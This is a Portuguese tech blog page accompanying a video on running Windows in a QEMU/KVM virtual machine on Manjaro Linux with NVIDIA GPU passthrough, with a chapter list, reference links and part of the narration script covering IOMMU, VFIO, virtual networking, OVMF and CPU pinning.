<p>Este episódio levou literalmente MESES pra eu conseguir fazer. Entre atualizar o hardware da minha máquina, testar todo tipo de combinação de configuração, até conseguir rodar jogos da Steam, num Windows virtualizado, a quase mesma velocidade que nativo.</p>
<p>Hoje vamos entender o que é QEMU, KVM, Libvirt, como passar uma GPU da NVIDIA diretamente pra dentro de uma VM, e como garantir a máxima performance na virtualização, incluindo entender como diversos componentes de hardware e do Linux funcionam.</p>
<p>Este conteúdo vai ser DENSO, então não deixem de usar os capítulos abaixo pra se orientar e consultar todos os links que deixei listado aqui.</p>
<h2>Capítulos<span class="hx:absolute hx:-mt-20" id="capítulos"></span>
    <a href="#cap%c3%adtulos" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><ul>
<li>00:00:00 - Intro</li>
<li>00:00:44 - Cap 1: Meu Setup (até 2024, senão podem pular)</li>
<li>00:05:51 - Cap 2: Introdução à Virtualização | Por que não Dual Boot?</li>
<li>00:08:26 - Cap 3: O que é IOMMU | Setup das GPUs</li>
<li>00:13:46 - Cap 4: Redes Virtuais | Minha placa 10 Gigabits</li>
<li>00:17:57 - Cap 5: Criando a Máquina Virtual | Virt-Manager</li>
<li>00:19:51 - Cap 6: Recapitulando UEFI | O que é OVMF?</li>
<li>00:23:06 - Cap 7: Entendendo CPUs | Pinagem de CPUs</li>
<li>00:33:01 - Cap 8: O que é QEMU? E KVM? | Libvirt</li>
<li>00:38:58 - Cap 9: Limitando CPUs do Host | Cgroups</li>
<li>00:43:06 - Cap 10: Configurações de Performance | Features Importantes</li>
<li>00:45:32 - Cap 11: Monitor Virtual e Streaming | SPICE e QXL</li>
<li>00:47:22 - Cap 12: Configurando Áudio | Pulseaudio e Pipewire</li>
<li>00:50:01 - Cap 13: PCI Passthrough | NVIDIA GPU</li>
<li>00:50:27 - Cap 14: Keyboard, Video, and Mouse | KVM via EVDEV</li>
<li>00:52:47 - Cap 15: Instalando Windows em Disco VirtIO | Fedora VirtIO ISO</li>
<li>00:57:15 - Cap 16: Demonstrando Performance com Games | GPU Passthrough</li>
<li>00:57:53 - Cap 17: Anti-Cheat em Elden Ring | Dual Boot</li>
<li>01:00:24 - Cap 18: Lidando com Monitor com 2 Inputs de Video | Escolhendo Inputs</li>
<li>01:03:08 - Cap 19: Lidando com Suspend do Host | Desligando Suspend</li>
<li>01:05:04 - Cap 20: Conclusão | Mais Coisas</li>
<li>01:07:49 - Bloopers</li>
</ul>
<h2>Links<span class="hx:absolute hx:-mt-20" id="links"></span>
    <a href="#links" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><ul>
<li><a href="https://wiki.archlinux.org/title/PCI_passthrough_via_OVMF"target="_blank" rel="noopener">https://wiki.archlinux.org/title/PCI_passthrough_via_OVMF</a></li>
<li><a href="https://wiki.gentoo.org/wiki/GPU_passthrough_with_libvirt_qemu_kvm"target="_blank" rel="noopener">https://wiki.gentoo.org/wiki/GPU_passthrough_with_libvirt_qemu_kvm</a></li>
<li><a href="https://github.com/virtio-win/kvm-guest-drivers-windows"target="_blank" rel="noopener">https://github.com/virtio-win/kvm-guest-drivers-windows</a></li>
<li><a href="https://fedorapeople.org/groups/virt/virtio-win/direct-downloads/archive-virtio/virtio-win-0.1.229-1/"target="_blank" rel="noopener">https://fedorapeople.org/groups/virt/virtio-win/direct-downloads/archive-virtio/virtio-win-0.1.229-1/</a></li>
<li><a href="https://github.com/rockowitz/ddcui"target="_blank" rel="noopener">https://github.com/rockowitz/ddcui</a></li>
<li><a href="https://github.com/rockowitz/ddcutil/issues/35"target="_blank" rel="noopener">https://github.com/rockowitz/ddcutil/issues/35</a></li>
<li><a href="http://www.ddcutil.com/commands/"target="_blank" rel="noopener">http://www.ddcutil.com/commands/</a></li>
<li><a href="https://github.com/olavmrk/usb-libvirt-hotplug"target="_blank" rel="noopener">https://github.com/olavmrk/usb-libvirt-hotplug</a></li>
<li><a href="https://getlabsdone.com/how-to-install-windows-11-on-kvm/#Add-the-windows-11-virtio-driver"target="_blank" rel="noopener">https://getlabsdone.com/how-to-install-windows-11-on-kvm/#Add-the-windows-11-virtio-driver</a></li>
<li><a href="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/virtualization_administration_guide/sect-virtualization-adding_storage_devices_to_guests-adding_hard_drives_and_other_block_devices_to_a_guest"target="_blank" rel="noopener">https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/virtualization_administration_guide/sect-virtualization-adding_storage_devices_to_guests-adding_hard_drives_and_other_block_devices_to_a_guest</a></li>
<li><a href="https://linuxhint.com/install_virtio_drivers_kvm_qemu_windows_vm/"target="_blank" rel="noopener">https://linuxhint.com/install_virtio_drivers_kvm_qemu_windows_vm/</a></li>
<li><a href="https://www.tecmint.com/manage-kvm-storage-volumes-and-pools/"target="_blank" rel="noopener">https://www.tecmint.com/manage-kvm-storage-volumes-and-pools/</a></li>
<li><a href="https://passthroughpo.st/simple-per-vm-libvirt-hooks-with-the-vfio-tools-hook-helper/"target="_blank" rel="noopener">https://passthroughpo.st/simple-per-vm-libvirt-hooks-with-the-vfio-tools-hook-helper/</a></li>
<li><a href="https://www.libvirt.org/hooks.html"target="_blank" rel="noopener">https://www.libvirt.org/hooks.html</a></li>
<li><a href="https://archlinux.org/packages/extra/x86_64/qemu-emulators-full/"target="_blank" rel="noopener">https://archlinux.org/packages/extra/x86_64/qemu-emulators-full/</a></li>
<li><a href="https://unix.stackexchange.com/questions/30106/move-qcow2-image-to-physical-hard-drive"target="_blank" rel="noopener">https://unix.stackexchange.com/questions/30106/move-qcow2-image-to-physical-hard-drive</a></li>
<li><a href="https://libguestfs.org/virt-resize.1.html"target="_blank" rel="noopener">https://libguestfs.org/virt-resize.1.html</a></li>
<li><a href="https://www.cyberithub.com/resize-qcow3-image-with-virt-resize-kvm-tools/"target="_blank" rel="noopener">https://www.cyberithub.com/resize-qcow3-image-with-virt-resize-kvm-tools/</a></li>
<li><a href="https://loc-clan.com/files/win10"target="_blank" rel="noopener">https://loc-clan.com/files/win10</a></li>
<li><a href="https://www.reddit.com/r/VFIO/comments/l8g6iy/pc_suspends_itself_while_in_vm_due_to_suspend/"target="_blank" rel="noopener">https://www.reddit.com/r/VFIO/comments/l8g6iy/pc_suspends_itself_while_in_vm_due_to_suspend/</a></li>
<li><a href="https://www.linaro.org/blog/the-evolution-of-the-qemu-translator/"target="_blank" rel="noopener">https://www.linaro.org/blog/the-evolution-of-the-qemu-translator/</a></li>
<li><a href="https://github.com/foxlet/macOS-Simple-KVM"target="_blank" rel="noopener">https://github.com/foxlet/macOS-Simple-KVM</a></li>
<li><a href="https://github.com/foxlet/macOS-Simple-KVM"target="_blank" rel="noopener">https://github.com/foxlet/macOS-Simple-KVM</a></li>
<li><a href="https://passthroughpo.st/explaining-csm-efifboff-setting-boot-gpu-manually/"target="_blank" rel="noopener">https://passthroughpo.st/explaining-csm-efifboff-setting-boot-gpu-manually/</a></li>
<li><a href="https://passthroughpo.st/explaining-csm-efifboff-setting-boot-gpu-manually/"target="_blank" rel="noopener">https://passthroughpo.st/explaining-csm-efifboff-setting-boot-gpu-manually/</a></li>
<li><a href="https://github.com/vanities/GPU-Passthrough-Arch-Linux-to-Windows10"target="_blank" rel="noopener">https://github.com/vanities/GPU-Passthrough-Arch-Linux-to-Windows10</a></li>
<li><a href="https://github.com/rockowitz/ddcutil/issues/35#issuecomment-337919874"target="_blank" rel="noopener">https://github.com/rockowitz/ddcutil/issues/35#issuecomment-337919874</a></li>
</ul>
<h2>SCRIPT<span class="hx:absolute hx:-mt-20" id="script"></span>
    <a href="#script" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Olá pessoal, Fabio Akita</p>
<p>Video de hoje vai ser mais pra mim do que pra vocês. Quem me acompanha no Insta sabe o que eu ando mexendo e alguns meses atrás viram que eu estava brincando com upgrade no meu PC, NAS e, principalmente, PCI passthrough da GPU pra máquinas virtuais. Quero mostrar como ficou, como estou usando, mais ou menos os principais conceitos envolvidos. Embora não seja um passo a passo, vou explicar coisas que normalmente não se vê numa instalação normal de Linux e detalhes sobre como um PC funciona. Mais importante, vou explicar todos os componentes pra rodar máquinas virtuais em Linux e como elas funcionam. Se queria aprender mais sobre virtualização, hoje é o dia.</p>
<p>(&hellip;)</p>
<p>Eu já fiz dois videos falando do meu setup anterior então assistam depois. Mas agora estou com um PC bem potente, com CPU AMD Ryzen 9 5950X de 16 núcleos ou cores e 32 threads, 2 pentes de memória DDR4 de 4 Ghz funcionando com perfil XMP, ou seja, com overclock, da G.Skill, placa mãe Aorus X570S. Não é a melhor placa mas dá conta do recado. Ela tem 2 slots M.2 pra NVME que é SSD muito mais rápido, um Samsung 970 Evo Plus de 2TB onde tá instalado Windows 11 nativamente como dual boot e outro NVME primário Samsung também de 1 TB onde está meu Manjaro GNOME.</p>
<p>Além deles preenchi 3 slots SATA com SSDs normais Samsung modelos 860 e 870 de 1 TB que uso só pra cache do DaVinci Resolve, outro de 4TB que era meu antigo drive pra jogos da Steam e que recentemente encheu então comprei um de 8TB pra mover tudo pra lá. Vou fazer esse de 4TB ser meu novo cache pro DaVinci por enquanto. Óbvio que não precisa de tudo isso só pra cache, mas não tenho outro uso pra ele por enquanto, então beleza.</p>
<p>O Linux boota usando a GPU primária da AMD, um modelo fraquinho que é o RX 6400. Essa placa não é muito melhor que uma antiga NVIDIA GTX 1050 de 2016. Mas é mais do que suficiente pra coisas como tocar video 4K sem perder frames, renderizar aplicativos de produtividade como terminal ou editor de texto. Só pra programar e navegar na Web é muito mais do que suficiente. Mas obviamente é  imprestável pra games mais pesados que um CS:Go. </p>
<p>Pra renderização pesada de video quando edito os episódio do canal com DaVinci Resolve, ou pra brincar de modelagem 3D com Blender ou pra jogos pesados como God of War da vida, aí tenho uma GPU secundária que fica desligada no Linux. A NVIDIA RTX 3090 com 24 Gigabytes só de memória de video. Esse sim é um monstro. </p>
<p>Recentemente saiu a RTX 4090 que tem quase o dobro da performance da minha, mas também custa o dobro do preço, usa muito mais energia e ocupa quase o dobro do espaço dentro do gabinete, e pra funcionar decentemente o certo seria trocar minha placa mãe pra uma que suporte memória DDR5 e trocar minha CPU da série 5000 pra nova série 7000 que também acabou de sair pra não ter gargalo. Na prática o custo-benefício ainda não compensa. Vou fazer esse upgrade só daqui mais uns 2 anos.</p>
<p>Falando em resolução, eu uso setup de dois monitores, a principal é a Asus ROG TUF de 31&quot;, resolução de 2160 por 1440 pixels, ou seja, 2K a 144 hz. O topo de linha pra gamer seria um monitor de micro LEDs 4K de 300 hz HDR+, mas pro meu uso tá mais que bom. Eu não participo de esports então mais que 1440p e 144hz eu nem ia perceber tanta diferença e só ia pesar mais na GPU. Nessa configuração consigo jogar qualquer jogo pesado da Steam em Ultra High com Ray Tracing e ainda ter mais de 100 frames por segundo.</p>
<p>Meu monitor secundário é um Samsung de 29&quot; 4K e 60hz. Esse eu exagerei um pouco. É o monitor que uso na vertical pra deixar coisas como meu Discord, Gmail, gráficos da bolsa e coisas assim pra ficar dando uma olhada. Poderia ser um monitor de 24&quot; e não precisava ser 4K porque uso em 1440p pra ficar igual ao principal. Enfim, o resto não é importante pro video de hoje mas só pra ficar completo, tenho um microfone BM 800 e uma webcam Logitech Brio de 1080p de resolução. Não sou, nem quero ser podcaster nem streamer. Pra calls de Zoom tá mais que bom.</p>
<p>Pra áudio, em vez de usar o que vem na placa mãe liguei um DAC externo da Topping via USB. DAC é um conversor digital pra analógico. Ele recebe o áudio digital via USB e converte em onda pra mandar pra um pre-amp, que pega esse áudio analógico convertido com sinal baixo e amplifica pra nível de linha pra mandar pras caixas de som ou fone de ouvido. As caixas de som não nem nada de especial, são 2 Edifier. Pra usar na mesa perto de mim é o suficiente. Já o fone que uso é um Sennhaiser HD 650 que é um modelo de entrada pra quem quer um som de referência, não modificado.</p>
<p>Meu mouse é um Logitech MX Master 3 sem fio, o melhor mouse de produtividade que existe. Super confortável e excelente pra trabalhar em edição de video por exemplo. Ele não é feito pra jogar, embora nada impeça. Um mouse gamer tem metade do peso desse Logitech Mas como falei, não participo de esports e também não jogo FPS. Não curto Valorant, Apex Legends, Overwatch nem nada disso. Só jogo single player e com gamepad. E gamepad os meus preferidos são o de Xbox One X, depois o modelo SN30 pro+ da 8BitDo que compartilho com meu notebook, e o de PS4 pra emuladores como Dolphin ou CEMU pra jogos da Nintendo porque gamepad de PS4 tem acelerômetro e giroscópio, coisa que do Xbox não tem.</p>
<p>Todo mundo que acompanha o canal sabe que sou um sommelier de teclados e meu favorito até hoje é o Moonlander da ZSA. Dá bastante trabalho pra treinar e se acostumar, mas depois que aprendi realmente a usar um teclado split, separado no meio, com layout ortolinear, não consigo mais voltar pra um teclado normal. Eu sofro um pouco quando preciso usar do notebook. Quem não sabe o que é isso, assista meu terceiro video sobre teclados, que explico em detalhes.</p>
<p>O objetivo hoje é eu conseguir instalar uma máquina virtual Windows em cima do meu Manjaro e passar a GPU da NVIDIA inteiramente pra ele. Meu Manjaro continua funcionando normalmente via a GPU da AMD, e na máquina virtual a RTX 3090 vai ficar exclusiva só pro Windows virtualizado. Muitos podem se perguntar &ldquo;ué, mas não é mais fácil só fazer um dual boot?&rdquo; E sim, é mais fácil mesmo. Mas vejam esta tela do programa Virt Manager que eu instalei. </p>
<p>Tudo isso são máquinas virtuais. Eu tenho uma instalação de Garuda que é outra versão de Arch Linux mais voltado pra gamers. Eu tenho um Ubuntu que uso pra testes e eu tenho 4 instalações de Windows 11. Uma que está como dual boot, instalado numa NVME e outras 3 que rodam num disco virtual em rede. Eis porque eu não queria só depender de dual boot: queria poder instalar outros Windows pra tarefas ou testes diferentes em separado, sem ter que reparticionar meu SSD toda hora e ficar reconfigurando dual boot. Do jeito que fiz, posso instalar um novo OS virtualizado a qualquer momento, ou destruir também, sem afetar a estabilidade do meu sistema.</p>
<p>Veja que tenho um MacOS também. Infelizmente é lento porque Apple parou de dar suporte pra GPU da NVIDIA faz alguns anos. Só GPUs antigas da NVIDIA funcionariam, como a GTX série 1000 de mais de 5 anos atrás, e só até o MacOS Mojave de 2021. Simplesmente não existem drivers pra usar a RTX 3090 num Mac. Pra conseguir acelerar esse MacOS virtualizado precisaria passar a GPU da AMD, mas como é minha principal, que o host Manjaro usa, ia ficar complicado então por enquanto não vai rolar Mac.</p>
<p>Falando em suporte de hardware e abrindo a página de PCI passthrough do ArchWiki, a primeira coisa que ele vai explicar é que precisa checar se o meu hardware suporta o que precisa. A primeira coisa é mais óbvia, minha CPU precisa suportar instruções de virtualização o VT-x ou VT-d. Tem que entrar na BIOS e checar se tá ativado. Muitas vezes vem desligado. Hoje em dia toda CPU suporta sem problemas, mas CPUs de uns 5 anos ou mais pra trás, é bom checar. No Wiki também fala sobre modelos de placa mãe. Mas de novo, só se preocupa com isso se seu hardware for muito velho.</p>
<p>Os passos 1, 2 e 3 do Wiki podem ser automatizados por essa ferramenta <code>gpu-passthrough-manager</code>, instala com <code>yay</code> ou <code>pacaur</code> ou seja lá qual gerenciador de AUR você usa. Eu gosto do <code>yay</code>. Ele vai fazer duas coisas importantes: configurar a linha de comando que carrega a kernel no boot pra habilitar IOMMU e depois que rebootar, vai separar a GPU da NVIDIA pra não carregar mais os drivers no boot, já que precisa estar desligado pra passar pra máquina virtual. Vamos entender.</p>
<p>IOMMU, ou Input Output Memory Management Unit é um recurso que ligamos na kernel e que a CPU por baixo precisa suportar. A grosso modo é assim, a CPU e dispositivos como teclado ou placa de video, normalmente se comunicam via endereços de memória direta entre um e outro. O problema é que se a CPU de verdade já está falando com o dispositivo, não teria como outra CPU virtual compartilhar os mesmos dispositivos. </p>
<p>Em vez disso o controlador de IOMMU cria endereços virtuais que mapeiam pros reais e esses endereços virtuais podem ser passados pra máquinas virtuais, dando acesso direto aos dispositivos sem ter que passar pela CPU host pra intermediar essa comunicação. Isso é crucial pra máquina virtual conseguir falar diretamente com a GPU ou com outros dispositivos, por exemplo se colocar uma segunda placa de rede de verdade no PC, poderia passar inteira pra máquina virtual.</p>
<p>O Wiki explica como ligar isso, mas depois pede pra criar um script com esse código aqui e executar. O resultado vai ser algo parecido com isso aqui. Esses são os diversos grupos de IOMMU que meu sistema organiza. O que me importa é este Grupo 30 que tem só dois dispositivos, a RTX 3090 e um controlador de áudio também da NVIDIA. E o importante é que não tem mais nenhum outro dispositivo compartilhando o mesmo grupo. Se tivesse, na hora de passar a NVIDIA pra máquina virtual precisaria passar o outro dispositivo nada a ver junto, e dependendo do que fosse, poderia ter problemas. O ideal é estar assim: o que eu quero passar, isolado num grupo separado. Significa que passamos pelos pré-requisitos, meu hardware suporta o que quero fazer.</p>
<p>Até esse ponto, se fizer uma instalação normal de Manjaro, o identificador de hardware acha tanto minha AMD RX 6400 quanto a RTX 3090 e carrega os drivers dos dois. Mas pra poder passar pra máquina virtual, preciso que no boot, o driver da NVIDIA não seja carregado. Pra isso vamos usar um truque: carregar um driver dummy, de mentira, que vai se pendurar e bloquear a GPU. Pra isso usamos um driver VFIO que é um módulo que vem na kernel do Linux. Aquela ferramenta que falei antes, o <code>gpu-passthrough-manager</code> vai fazer isso pra gente, só selecionar os dois dispositivos da NVIDIA e deixar ele fazer o trabalho. Na Wiki tem o jeito manual também, mas vou pular.</p>
<p>Agora chegou a hora de instalar e configurar o software de virtualização propriamente dito. Precisamos dos pacotes <code>qemu-desktop</code>, <code>libvirt</code>, <code>edk2-ovmf</code> e o <code>virt-manager</code>. Pra rede precisa do pacote <code>dnsmasq</code>. Quando instalar tudo, só habilitar o libvirt pro SystemD carregar no boot com <code>sudo systemctl enable libvirtd</code> e já dar start nele também. Pronto, do ponto de vista de preparo e instalação já tá tudo pronto. Agora é a parte divertida, configurar a máquina virtual propriamente dita.</p>
<p>Uma máquina virtual vai se conectar com os mesmos dispositivos que seu Linux Host, o que boota nativamente de verdade, no caso o meu Manjaro. Coisas como os NVME  posso deixar outra máquina usar, se e somente se, não estiverem montadas. Lembra a diferença? Uma coisa é um dispositivo como <code>/dev/nvme1n1</code> outra coisa é o ponto de montagem <code>/mnt/blabla</code> que aponta pra uma partição no device. Se ficou confuso é porque você pulou meus videos de Linux onde explico isso. Se não sabe como Linux boota e como funciona por baixo, não vai entender nada deste video também. </p>
<p>Enfim, o ponto é que é possível passar dispositivos de armazenamento entre meu host e o guest contanto que só um deles tenha pontos de montagem. Aliás, pra facilitar, vou dizer host sempre que me referir ao meu Manjaro principal, e guest ou convidado é a máquina virtual. Continuando, dispositivos USB como teclado, mouse, hubs e tudo mais suportam hot swap. Isso deve ser intuitivo, podemos desconectar e reconectar que o OS reinicializa a quente, sem precisar rebootar. Quando ligamos um dispositivo USB no guest, é como se estivéssemos tirando o cabo do host e ligando no guest.</p>
<p>Placa de video só dá pra passar via grupo de IOMMU e se estiver descarregado, ou seja, com o driver stub de VFIO bloqueando. O driver VFIO é como se fosse um plugue esperando a tomada da máquina virtual ligar nele, saca? Só aí que a placa mãe vai ser ativada. Os monitores, por sua vez, via cabo HDMI ou DisplayPort estão conectados fisicamente nas placas de video e não na placa mãe, então quem controla os monitores são as placas de video. </p>
<p>Cada monitor suporta ligar vários cabos de entrada neles. Normalmente só ligamos um, mas já devem ter visto este menu que permite selecionar input sources diferentes, as diferentes portas na parte de trás. É assim que dá pra compartilhar um monitor com mais de um computador e ficar alternando os sinais de entrada. Meu monitor secundário vertical, o Samsung, tá ligado na placa da AMD. Meu monitor principal, o Asus, também tá ligado no AMD, então no boot o Wayland vê os dois e configura setup de extensão do meu desktop. </p>
<p>Antes que alguém pergunte, pra ter papel de parede que enche os dois monitores desse jeito uso um programa chamado HydraPaper. Ele funciona via esse programa gráfico mas também dá pra chamar via linha de comando, daí não é difícil fazer um script pra colocar no cron e assim mudar o papel de parede de tanto em tanto tempo. Fica de exercício pra vocês. Voltando, esse monitor Asus também tem outro cabo HDMI ligado nele, que se conecta com a placa de video da NVIDIA, que neste momento permanece desligado. Já já vamos acordar ele.</p>
<p>Mas não é só com placa de video que preciso me preocupar. Esqueci de mencionar, mas minha placa mãe X570S vem com uma placa de rede embutida de 2.5 Gigabits por segundo, que é excelente já que a maioria dos PCs e notebooks no máximo vem com placa de 1 Gigabit. E lembrando que 1 Gigabit é mais que suficiente pra maioria das pessoas porque a conexão de internet de provedores ainda é faixa de 100 megabits, ou seja, 1 Gigabit é 10 vezes mais banda do que precisa pra uma pessoa assistindo YouTube. Mas pra editar video via rede é pouco. Eu explico sobre isso nos videos da mini-série de redes vejam lá depois.</p>
<p>Eu queria poder guardar os videos que gravo pro canal, que são em 4K formato DNxHR, que é pouco comprimido pra manter qualidade, no NAS e apontar o DaVinci Resolve direto pra uma pasta de rede aberto nesse NAS. Assim não preciso ficar copiando os arquivos pro meu PC e depois copiando de volta pro NAS. Pra isso a velocidade entre os dois precisa ser alta. Por isso resolvi comprar um switch e uma placa de video PCI Express de 10 Gigabits, que é 1000 vezes mais rápido que seu plano de internet de 100 megabits.</p>
<p>Eu não vou passar essa placa diretamente pra máquina virtual porque uso ela no host também. Como quero compartilhar a mesma placa entre duas máquinas, preciso tipo criar uma placa de rede virtual, como o dispositivo TAP que expliquei no episódio de VPN e uma rede entre a placa virtual ou a placa real, aí tenho algumas opções. Vamos abrir o aplicativo Virt-Manager, que é uma interface gráfica que facilita configurar as coisas. Essa interface é opcional porque tudo que vou mostrar graficamente pode ser feito via linha de comando usando o comando virsh. Por exemplo, no meu terminal posso digitar <code>sudo virth net-list --all</code> e mostra as duas redes virtuais que já tinha configurado na minha máquina: default e network.</p>
<p>Voltando pro Virt-Manager, posso abrir no menu &ldquo;Edit&rdquo; e &ldquo;Connection Detail&rdquo; e olha só as mesmas duas redes aparecendo. Clicando em &ldquo;+&rdquo;  posso criar uma nova rede virtual, mas não preciso porque já tenho essa daqui que chamei de &ldquo;network&rdquo;, podia ser um nome mais criativo. Mas o importante é o nome do dispositivo virtual, a placa de rede de mentira, que dei o nome de &ldquo;virbr1&rdquo; porque na rede &ldquo;default&rdquo; já tinha &ldquo;virbr0&rdquo;. Configurei pra ser uma rede usando NAT pra sair pela minha placa real cujo nome é &ldquo;enp4s0&rdquo;. E como sei esse nome?</p>
<p>Lembram dos videos de rede? No terminal posso usar o comando &ldquo;ip&rdquo; pra mexer na rede. Se fizer <code>ip link show</code> mostra todos os dispositivos de rede. Lembram que falei que minha placa mãe já vinha com rede embutida de 2.5 Gigabits, esse é o dispositivo &ldquo;enp8s0&rdquo; que aparece logo embaixo do loopback. Estou escondendo o MAC Address deles, claro. Em seguida temos o &ldquo;enp4s0&rdquo; que falei que é a placa externa de 10 Gigabits. Em seguida temos dispositivos virtuais, &ldquo;virbr0&rdquo; e &ldquo;virbr1&rdquo;. No fim tem um &ldquo;wl&rdquo; alguma coisa que é o Wi-Fi que não uso, mas também veio embutido.</p>
<p>Do ponto de vista do sistema operacional, tanto &ldquo;enp4s0&rdquo; quanto esse &ldquo;virbr0&rdquo; são placas de rede. Posso criar quantos dispositivos virtuais quiser. Posso criar um separado pra cada máquina virtual ou conectar várias máquinas na mesma placa. E cada placa pode usar diversas estratégias pra se conectar na rede. Vamos entender essa opção &ldquo;mode&rdquo;. Olha só, isolated é fácil, impede a placa virtual de se conectar na rede e na internet. Só vai conseguir enxergar outras máquinas virtuais, mas como o nome diz, ficam isoladas do resto do mundo.</p>
<p>Todas as outras permitem acessar tanto a rede interna quanto a internet. Se escolher Bridge, vai se comportar como se fosse uma nova máquina de verdade conectada na rede. Vai procurar e encontrar o DHCP do modem da Vivo, igual meu PC de verdade faz no boot, pegar um IP e navegar normalmente. Se escolher NAT, como eu fiz, ele pega um IP privado atrás do meu PC de verdade e usa NAT pra falar na rede e acessar a internet. </p>
<p>Routed nunca precisei usar então não sei os detalhes e Open acho que é se quisesse que a máquina virtual ficasse exposta diretamente na internet pública, que não é nosso caso. Então na prática ou escolho Bridge ou NAT. Tecnicamente, Bridge deveria ser mais performático, já que não precisaria passar por um NAT intermediário. Mas não lembro se tive problemas ou se não senti nenhuma diferença, mas vale testar entre os dois.</p>
<p>Pronto. Rede tá ok. Agora podemos começar o processo de criar a máquina virtual. É com esse ícone de &ldquo;mais&rdquo; no topo. Escolho a primeira opção pra procurar a ISO de instalação do Windows. Ele detecta corretamente. Caso fosse uma distro de Linux que não detectasse,  precisaria escolher manualmente o mais próximo, mas pra agora vamos pro próximo passo. </p>
<p>Agora posso escolher quanto de RAM e quantas threads da minha CPU quero dar pra máquina virtual. Não vou mexer aqui porque isso vou mudar mais pra frente, então vamos pro próximo passo. E agora é a parte pra criarmos um HD virtual ou apontarmos pra um SSD de verdade na máquina. Vou só criar um HD virtual. </p>
<p>Nos meus videos, como de WSL, mostrei como faz pra criar um HD virtual formato de VMWare ou Hyper-V que é o formato VHD ou VHDX, literalmente Virtual HD. Mas o QEMU gosta de usar outro formato, o QCOW2 que significa QEMU Copy-On-Write versão 2.</p>
<p>COW permite que esse HD virtual seja usado simultaneamente por duas ou mais máquinas virtuais diferentes, cada uma vai continuar criando blocos novos tipo num snapshot diferente. Isso também significa que esse HD virtual suporta snapshots, suporta voltar pra versões anterioes, mesmo se dentro não estivermos usando BTRFS. O formato QCOW2 acho que é mais avançado que um VHD. Além de snapshots também suporta compressão e encriptação.</p>
<p>Posso escolher deixar gravar no diretório padrão, mas prefiro criar num diretório que separei só pra isso no meu NAS. Então escolho &ldquo;Manage&rdquo; e nessa janela escolho um pool, que é um diretório e mando criar um novo volume, dou um nome qualquer, formato qcow2 e uns 100 gigabytes. Tanto faz o tamanho porque esse arquivo é dinâmico, na realidade só vai realmente gastar o que precisar, então no começo não ocupa espaço nenhum. Ele não precisa já pré-reservar o espaço todo. E agora no último passo mando deixar customizar mais antes de fazer o primeiro boot.</p>
<p>Esta é a tela mais detalhada que mostra tudo que vai ter nesta nova máquina virtual. Vamos um a um nos itens que importam. Logo no Overview tem uma mudança importante. Precisamos garantir que estamos com o Chipset Q35 em vez do antigo legado i440FX e que o Firmware seja UEFI mas a versão OVMF com secboot, que é secure boot. Fodeu, um monte de letrinhas né? Vou explicar. Chipset, como o nome diz, é o conjunto de chips na placa mãe que controla memória, processador, I/O e tudo mais. Queremos os chips mais novos.</p>
<p>UEFI já expliquei nos videos de armazenamento. Muita gente ainda chama de BIOS, mas UEFI é a evolução da BIOS. Dentre outras coisas,  é quem dá suporte a HDs com partições GPT, que permite partições de tamanho superior a 2 terabytes e um número enorme de partições. Toda UEFI moderna nem precisa de um bootloader como Grub. Se a partição tiver uma pasta EFI, vai conseguir bootar direto. Na minha placa-mãe, por exemplo, é só apertar F12 no boot que me dá um menu pra escolher de qual partição quero bootar, o que facilita fazer dual boot.</p>
<p>OVMF significa Open Virtual Machine Firmware. É um firmware, o UEFI propriamente dito, ou seja o software que boota primeiro logo que liga o computador e é responsável por checar e inicializar todos os dispositivos do sistema, achar o bootloader da kernel do sistema operacional em alguma partição GPT e passar o controle pra continuar o boot. Numa placa mãe de verdade esse firmware costuma ser mais complexo porque tem uma interface gráfica. Meu Aorus por exemplo, se apertar a tecla Delete no boot, abre essa tela gráfica fancy aqui. O OVMF tem telas em modo texto bem mais simples e com bem menos opções, porque é pra máquinas virtuais.</p>
<p>Escolhi a versão com Secure Boot porque Windows 11 passa a exigir a existência de um chip de segurança TMP e o firmware precisa ter suporte pra conseguir falar com esse chip. Pronto, podemos confirmar e agora precisamos adicionar uma versão virtual desse chip. Só adicionar novo hardware, escolher TPM, que vai ser emulado, mas selecionar as opções avançadas pra ser modo TIS e versão 2.0 que é o que o Windows 11 não vai reclamar. </p>
<p>Um secure enclave como esse TPM, no mundo real, é um chip separado da CPU que vai conter coisas como chaves privadas que jamais vai dar pra ler diretamente, incluindo outras credenciais como certificados digitais. Também vai ter gravado a configuração da sua máquina que a firmware vai informar pra ele, assim nos próximos boots dá pra detectar se alguém modificou o hardware, que é o que normalmente se reclama com Secure Boot. </p>
<p>Muitos gamers odeiam Secure Boot e TPM não porque eles são ruins, mas porque software de Anti-cheat, de detecção de trapaças que muitos jogos instalam justamente fazem modificações muito semelhantes ao que um vírus, malware ou rootkit faria na kernel do sistema. O problema é a existência de anti-cheats mau feitos. </p>
<p>Enfim, isso é assunto pra outro dia. O importante é que temos como adicionar um TPM virtual pro Windows achar a aceitar. Mas já aproveito pra avisar que o anti-cheat de alguns jogos, como o Easy usado no Elden Ring, conseguem detectar que está rodando em máquina virtual e não permite entrar online, só dá pra jogar offline. Pra mim isso não é problema, mas pra alguns pode ser.</p>
<p>Agora chegou a hora de configurar a CPU. Problema que essa interface gráfica não permite modificar tudo que preciso. O que vou fazer é abrir a configuração de outra máquina que já tenho, copiar o XML do trecho de CPU e colar nessa nova máquina. Olha só, por padrão tenho uma linha pra quantas vcpus, depois o OS que é o firmware que acabamos de configurar, daí temos features da CPU e modo da CPU. Tudo isso precisamos mexer. Abrindo outra máquina que já tenho, começo copiando essas configurações de vcpu e cputune. </p>
<p>VCPU é simples: quantas threads vou dar pra máquina virtual. Como  tenho uma Ryzen 5950X, posso dar bastante. Decidi dar metade, ou seja, 16 threads pra máquina virtual. O que é essa configuração longa que colei aqui? Eu dei 16 threads, e se não colocar esse bloco de &ldquo;cputune&rdquo;, essas threads vão ser controladas pelo scheduler de threads do Linux Host por baixo. É ineficiente porque no Windows ou outro OS guest do lado de dentro já tem um scheduler e por baixo vai ter outro scheduler e no final as 16 threads vão ficar embaralhadas entre as 32 totais, podendo mudar dependendo se o Host tiver alguma carga pra processar. </p>
<p>Essa configuração depende do uso. No meu caso, se estou com um guest aberto, normalmente não estou fazendo nada pesado no host. 16 threads pra cada dá e sobra na real. Mas essa pinagem de vcpu pra thread real não é aleatório. De onde vem esses números? Pra isso preciso saber a topologia de núcleos e caches deste processador em particular.</p>
